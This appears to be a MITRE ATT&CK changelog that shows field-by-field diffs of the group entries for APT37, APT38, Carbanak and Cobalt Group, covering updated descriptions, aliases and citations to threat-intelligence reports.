| > | East. [APT37](https://attack.mitre.org/groups/G0067) has als | > | iddle East. [APT37](https://attack.mitre.org/groups/G0067) h | ||
| > | o been linked to following campaigns between 2016-2018: Oper | > | as also been linked to the following campaigns between 2016- | ||
| > | ation Daybreak, Operation Erebus, Golden Time, Evil New Year | > | 2018: Operation Daybreak, Operation Erebus, Golden Time, Evi | ||
| > | , Are you Happy?, FreeMilk, Northern Korean Human Rights, an | > | l New Year, Are you Happy?, FreeMilk, North Korean Human Rig | ||
| > | d Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Ci | > | hts, and Evil New Year 2018.(Citation: FireEye APT37 Feb 201 | ||
| > | tation: Securelist ScarCruft Jun 2016) (Citation: Talos Grou | > | 8)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos | ||
| > | p123) North Korean group definitions are known to have sign | > | Group123) North Korean group definitions are known to have | ||
| > | ificant overlap, and the name [Lazarus Group](https://attack | > | significant overlap, and some security researchers report al | ||
| > | .mitre.org/groups/G0032) is known to encompass a broad range | > | l North Korean state-sponsored cyber activity under the name | ||
| > | of activity. Some organizations use the name Lazarus Group | > | [Lazarus Group](https://attack.mitre.org/groups/G0032) inst | ||
| > | to refer to any activity attributed to North Korea.(Citation | > | ead of tracking clusters or subgroups. | ||
| > | : US-CERT HIDDEN COBRA June 2017) Some organizations track N | ||||
| > | orth Korean clusters or groups such as Bluenoroff,(Citation: | ||||
| > | Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https:/ | ||||
| > | /attack.mitre.org/groups/G0067), and [APT38](https://attack. | ||||
| > | mitre.org/groups/G0082) separately, while other organization | ||||
| > | s may track some activity associated with those group names | ||||
| > | by the name Lazarus Group. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf | |
| external_references | https://securelist.com/operation-daybreak/75100/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:55:20.925000+00:00 | 2021-10-15 16:54:01.193000+00:00 |
| description | [APT37](https://attack.mitre.org/groups/G0067) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group. | [APT37](https://attack.mitre.org/groups/G0067) is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos Group123) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups. |
| external_references[2]['source_name'] | ScarCruft | Richochet Chollima |
| external_references[2]['description'] | (Citation: Securelist ScarCruft Jun 2016) (Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019) | (Citation: CrowdStrike Richochet Chollima September 2021) |
| external_references[3]['source_name'] | Reaper | InkySquid |
| external_references[3]['description'] | (Citation: FireEye APT37 Feb 2018) | (Citation: Volexity InkySquid BLUELIGHT August 2021) |
| external_references[4]['source_name'] | Group123 | ScarCruft |
| external_references[4]['description'] | (Citation: FireEye APT37 Feb 2018) | (Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019) |
| external_references[5]['source_name'] | TEMP.Reaper | Reaper |
| external_references[6]['source_name'] | FireEye APT37 Feb 2018 | Group123 |
| external_references[6]['description'] | FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018. | (Citation: FireEye APT37 Feb 2018) |
| external_references[7]['source_name'] | Securelist ScarCruft Jun 2016 | TEMP.Reaper |
| external_references[7]['description'] | Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018. | (Citation: FireEye APT37 Feb 2018) |
| external_references[8]['source_name'] | Talos Group123 | FireEye APT37 Feb 2018 |
| external_references[8]['description'] | Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018. | FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018. |
| external_references[8]['url'] | https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html | https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
| external_references[9]['source_name'] | US-CERT HIDDEN COBRA June 2017 | Securelist ScarCruft Jun 2016 |
| external_references[9]['description'] | US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017. | Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018. |
| external_references[9]['url'] | https://www.us-cert.gov/ncas/alerts/TA17-164A | https://securelist.com/operation-daybreak/75100/ |
| external_references[10]['source_name'] | Kaspersky Lazarus Under The Hood Blog 2017 | Talos Group123 |
| external_references[10]['description'] | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. | Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018. |
| external_references[10]['url'] | https://securelist.com/lazarus-under-the-hood/77908/ | https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html |
| external_references[11]['source_name'] | Securelist ScarCruft May 2019 | CrowdStrike Richochet Chollima September 2021 |
| external_references[11]['description'] | GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019. | CrowdStrike. (2021, September 30). Adversary Profile - Richochet Chollima. Retrieved September 30, 2021. |
| external_references[11]['url'] | https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/ | https://adversary.crowdstrike.com/en-US/adversary/ricochet-chollima/ |
| x_mitre_version | 1.5 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Richochet Chollima | |
| aliases | InkySquid | |
| external_references | {'source_name': 'Volexity InkySquid BLUELIGHT August 2021', 'description': 'Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.', 'url': 'https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/'} | |
| external_references | {'source_name': 'Securelist ScarCruft May 2019', 'description': 'GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.', 'url': 'https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT38](https://attack.mitre.org/groups/G0082) is a financia | t | 1 | [APT38](https://attack.mitre.org/groups/G0082) is a North Ko |
| > | lly-motivated threat group that is backed by the North Korea | > | rean state-sponsored threat group that specializes in financ | ||
| > | n regime. The group mainly targets banks and financial insti | > | ial cyber operations; it has been attributed to the Reconnai | ||
| > | tutions and has targeted more than 16 organizations in at le | > | ssance General Bureau.(Citation: CISA AA20-239A BeagleBoyz A | ||
| > | ast 13 countries since at least 2014.(Citation: FireEye APT3 | > | ugust 2020) Active since at least 2014, [APT38](https://atta | ||
| > | 8 Oct 2018) North Korean group definitions are known to hav | > | ck.mitre.org/groups/G0082) has targeted banks, financial ins | ||
| > | e significant overlap, and the name [Lazarus Group](https:// | > | titutions, casinos, cryptocurrency exchanges, SWIFT system e | ||
| > | attack.mitre.org/groups/G0032) is known to encompass a broad | > | ndpoints, and ATMs in at least 38 countries worldwide. Signi | ||
| > | range of activity. Some organizations use the name Lazarus | > | ficant operations include the 2016 Bank of Bangladesh heist, | ||
| > | Group to refer to any activity attributed to North Korea.(Ci | > | during which [APT38](https://attack.mitre.org/groups/G0082) | ||
| > | tation: US-CERT HIDDEN COBRA June 2017) Some organizations t | > | stole $81 million, as well as attacks against Bancomext (20 | ||
| > | rack North Korean clusters or groups such as Bluenoroff,(Cit | > | 18) and Banco de Chile (2018); some of their attacks have be | ||
| > | ation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](h | > | en destructive.(Citation: CISA AA20-239A BeagleBoyz August 2 | ||
| > | ttps://attack.mitre.org/groups/G0067), and [APT38](https://a | > | 020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North K | ||
| > | ttack.mitre.org/groups/G0082) separately, while other organi | > | orea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under | ||
| > | zations may track some activity associated with those group | > | The Hood Blog 2017) North Korean group definitions are know | ||
| > | names by the name Lazarus Group. | > | n to have significant overlap, and some security researchers | ||
| > | report all North Korean state-sponsored cyber activity unde | ||||
| > | r the name [Lazarus Group](https://attack.mitre.org/groups/G | ||||
| > | 0032) instead of tracking clusters or subgroups. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://content.fireeye.com/apt/rpt-apt38 | |
| external_references | https://www.us-cert.gov/ncas/alerts/TA17-164A | |
| external_references | https://securelist.com/lazarus-under-the-hood/77908/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:50:43.737000+00:00 | 2021-10-15 16:33:27.982000+00:00 |
| description | [APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group. | [APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups. |
| external_references[2]['source_name'] | FireEye APT38 Oct 2018 | NICKEL GLADSTONE |
| external_references[2]['description'] | FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018. | (Citation: SecureWorks NICKEL GLADSTONE profile Sept 2021) |
| external_references[3]['source_name'] | US-CERT HIDDEN COBRA June 2017 | BeagleBoyz |
| external_references[3]['description'] | US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017. | (Citation: CISA AA20-239A BeagleBoyz August 2020) |
| external_references[4]['source_name'] | Kaspersky Lazarus Under The Hood Blog 2017 | Bluenoroff |
| external_references[4]['description'] | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. | (Citation: Kaspersky Lazarus Under The Hood Blog 2017) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | NICKEL GLADSTONE | |
| aliases | BeagleBoyz | |
| aliases | Bluenoroff | |
| aliases | Stardust Chollima | |
| external_references | {'source_name': 'Stardust Chollima', 'description': '(Citation: CrowdStrike Stardust Chollima Profile April 2018)(Citation: CrowdStrike GTR 2021 June 2021)'} | |
| external_references | {'source_name': 'CISA AA20-239A BeagleBoyz August 2020', 'description': "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021.", 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa20-239a'} | |
| external_references | {'source_name': 'FireEye APT38 Oct 2018', 'description': 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', 'url': 'https://content.fireeye.com/apt/rpt-apt38'} | |
| external_references | {'source_name': 'DOJ North Korea Indictment Feb 2021', 'description': 'Department of Justice. (2021, February 17). Three North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyberattacks and Financial Crimes Across the Globe. Retrieved June 9, 2021.', 'url': 'https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and'} | |
| external_references | {'source_name': 'Kaspersky Lazarus Under The Hood Blog 2017', 'description': 'GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.', 'url': 'https://securelist.com/lazarus-under-the-hood/77908/'} | |
| external_references | {'source_name': 'SecureWorks NICKEL GLADSTONE profile Sept 2021', 'description': 'SecureWorks. (2021, September 29). NICKEL GLADSTONE Threat Profile. Retrieved September 29, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/nickel-gladstone'} | |
| external_references | {'source_name': 'CrowdStrike Stardust Chollima Profile April 2018', 'description': 'Meyers, Adam. (2018, April 6). Meet CrowdStrike’s Adversary of the Month for April: STARDUST CHOLLIMA. Retrieved September 29, 2021.', 'url': 'https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/'} | |
| external_references | {'source_name': 'CrowdStrike GTR 2021 June 2021', 'description': 'CrowdStrike. (2021, June 7). CrowdStrike 2021 Global Threat Report. Retrieved September 29, 2021.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Carbanak](https://attack.mitre.org/groups/G0008) is a threa | t | 1 | [Carbanak](https://attack.mitre.org/groups/G0008) is a cyber |
| > | t group that mainly targets banks. It also refers to malware | > | criminal group that has used [Carbanak](https://attack.mitre | ||
| > | of the same name ([Carbanak](https://attack.mitre.org/softw | > | .org/software/S0030) malware to target financial institution | ||
| > | are/S0030)). It is sometimes referred to as [FIN7](https://a | > | s since at least 2013. [Carbanak](https://attack.mitre.org/g | ||
| > | ttack.mitre.org/groups/G0046), but these appear to be two gr | > | roups/G0008) may be linked to groups tracked separately as [ | ||
| > | oups using the same [Carbanak](https://attack.mitre.org/soft | > | Cobalt Group](https://attack.mitre.org/groups/G0080) and [FI | ||
| > | ware/S0030) malware and are therefore tracked separately. (C | > | N7](https://attack.mitre.org/groups/G0046) that have also us | ||
| > | itation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2 | > | ed [Carbanak](https://attack.mitre.org/software/S0030) malwa | ||
| > | 017) | > | re.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 Apr | ||
| > | il 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secure | ||||
| > | works GOLD NIAGARA Threat Profile)(Citation: Secureworks GOL | ||||
| > | D KINGSWOOD Threat Profile) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 00:22:39.895000+00:00 | 2021-10-18 21:02:30.899000+00:00 |
| description | [Carbanak](https://attack.mitre.org/groups/G0008) is a threat group that mainly targets banks. It also refers to malware of the same name ([Carbanak](https://attack.mitre.org/software/S0030)). It is sometimes referred to as [FIN7](https://attack.mitre.org/groups/G0046), but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017) | [Carbanak](https://attack.mitre.org/groups/G0008) is a cybercriminal group that has used [Carbanak](https://attack.mitre.org/software/S0030) malware to target financial institutions since at least 2013. [Carbanak](https://attack.mitre.org/groups/G0008) may be linked to groups tracked separately as [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN7](https://attack.mitre.org/groups/G0046) that have also used [Carbanak](https://attack.mitre.org/software/S0030) malware.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 April 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secureworks GOLD NIAGARA Threat Profile)(Citation: Secureworks GOLD KINGSWOOD Threat Profile) |
| external_references[3]['source_name'] | Carbon Spider | Kaspersky Carbanak |
| external_references[3]['description'] | (Citation: Crowdstrike State of Criminal May 2016) | Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018. |
| external_references[4]['source_name'] | Kaspersky Carbanak | FireEye FIN7 April 2017 |
| external_references[4]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018. | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. |
| external_references[4]['url'] | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html |
| external_references[5]['source_name'] | FireEye FIN7 April 2017 | Europol Cobalt Mar 2018 |
| external_references[5]['description'] | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. | Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018. |
| external_references[5]['url'] | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html | https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain |
| external_references[6]['source_name'] | Fox-It Anunak Feb 2015 | Secureworks GOLD NIAGARA Threat Profile |
| external_references[6]['description'] | Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017. | CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021. |
| external_references[6]['url'] | https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/ | https://www.secureworks.com/research/threat-profiles/gold-niagara |
| external_references[7]['source_name'] | Crowdstrike State of Criminal May 2016 | Secureworks GOLD KINGSWOOD Threat Profile |
| external_references[7]['description'] | Johnston, R. (2016, May 16). State of the Criminal Address. Retrieved December 7, 2017. | Secureworks. (n.d.). GOLD KINGSWOOD. Retrieved October 18, 2021. |
| external_references[7]['url'] | https://www.crowdstrike.com/blog/state-criminal-address/ | https://www.secureworks.com/research/threat-profiles/gold-kingswood?filter=item-financial-gain |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Fox-It Anunak Feb 2015', 'description': 'Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.', 'url': 'https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Carbon Spider |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Cobalt Group](https://attack.mitre.org/groups/G0080) is a f | t | 1 | [Cobalt Group](https://attack.mitre.org/groups/G0080) is a f |
| > | inancially motivated threat group that has primarily targete | > | inancially motivated threat group that has primarily targete | ||
| > | d financial institutions. The group has conducted intrusions | > | d financial institutions since at least 2016. The group has | ||
| > | to steal money via targeting ATM systems, card processing, | > | conducted intrusions to steal money via targeting ATM system | ||
| > | payment systems and SWIFT systems. [Cobalt Group](https://at | > | s, card processing, payment systems and SWIFT systems. [Coba | ||
| > | tack.mitre.org/groups/G0080) has mainly targeted banks in Ea | > | lt Group](https://attack.mitre.org/groups/G0080) has mainly | ||
| > | stern Europe, Central Asia, and Southeast Asia. One of the a | > | targeted banks in Eastern Europe, Central Asia, and Southeas | ||
| > | lleged leaders was arrested in Spain in early 2018, but the | > | t Asia. One of the alleged leaders was arrested in Spain in | ||
| > | group still appears to be active. The group has been known t | > | early 2018, but the group still appears to be active. The gr | ||
| > | o target organizations in order to use their access to then | > | oup has been known to target organizations in order to use t | ||
| > | compromise additional victims. (Citation: Talos Cobalt Group | > | heir access to then compromise additional victims.(Citation: | ||
| > | July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Ci | > | Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt G | ||
| > | tation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Coba | > | roup Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citatio | ||
| > | lt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citati | > | n: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt Jun | ||
| > | on: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 201 | > | e 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ C | ||
| > | 8) Reporting indicates there may be links between [Cobalt Gr | > | obalt Jan 2018) Reporting indicates there may be links betwe | ||
| > | oup](https://attack.mitre.org/groups/G0080) and both the mal | > | en [Cobalt Group](https://attack.mitre.org/groups/G0080) and | ||
| > | ware [Carbanak](https://attack.mitre.org/software/S0030) and | > | both the malware [Carbanak](https://attack.mitre.org/softwa | ||
| > | the group [Carbanak](https://attack.mitre.org/groups/G0008) | > | re/S0030) and the group [Carbanak](https://attack.mitre.org/ | ||
| > | . (Citation: Europol Cobalt Mar 2018) | > | groups/G0008).(Citation: Europol Cobalt Mar 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:41:51.510000+00:00 | 2021-10-18 22:02:12.586000+00:00 |
| description | [Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). (Citation: Europol Cobalt Mar 2018) | [Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions since at least 2016. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008).(Citation: Europol Cobalt Mar 2018) |
| external_references[2]['source_name'] | Cobalt Gang | GOLD KINGSWOOD |
| external_references[2]['description'] | (Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018) | (Citation: Secureworks GOLD KINGSWOOD September 2018) |
| external_references[3]['source_name'] | Cobalt Spider | Cobalt Gang |
| external_references[3]['description'] | (Citation: Crowdstrike Global Threat Report Feb 2018) | (Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: Morphisec Cobalt Gang Oct 2018) |
| external_references[4]['source_name'] | Talos Cobalt Group July 2018 | Cobalt Spider |
| external_references[4]['description'] | Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. | (Citation: Crowdstrike Global Threat Report Feb 2018) |
| external_references[5]['source_name'] | PTSecurity Cobalt Group Aug 2017 | Talos Cobalt Group July 2018 |
| external_references[5]['description'] | Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018. | Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018. |
| external_references[5]['url'] | https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf | https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html |
| external_references[6]['source_name'] | PTSecurity Cobalt Dec 2016 | PTSecurity Cobalt Group Aug 2017 |
| external_references[6]['description'] | Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018. | Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018. |
| external_references[6]['url'] | https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf | https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf |
| external_references[7]['source_name'] | Group IB Cobalt Aug 2017 | PTSecurity Cobalt Dec 2016 |
| external_references[7]['description'] | Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018. | Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018. |
| external_references[7]['url'] | https://www.group-ib.com/blog/cobalt | https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf |
| external_references[8]['source_name'] | Proofpoint Cobalt June 2017 | Group IB Cobalt Aug 2017 |
| external_references[8]['description'] | Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018. | Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018. |
| external_references[8]['url'] | https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target | https://www.group-ib.com/blog/cobalt |
| external_references[9]['source_name'] | RiskIQ Cobalt Nov 2017 | Proofpoint Cobalt June 2017 |
| external_references[9]['description'] | Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018. | Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018. |
| external_references[9]['url'] | https://www.riskiq.com/blog/labs/cobalt-strike/ | https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target |
| external_references[10]['source_name'] | RiskIQ Cobalt Jan 2018 | RiskIQ Cobalt Nov 2017 |
| external_references[10]['description'] | Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018. | Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018. |
| external_references[10]['url'] | https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/ | https://www.riskiq.com/blog/labs/cobalt-strike/ |
| external_references[11]['source_name'] | Europol Cobalt Mar 2018 | RiskIQ Cobalt Jan 2018 |
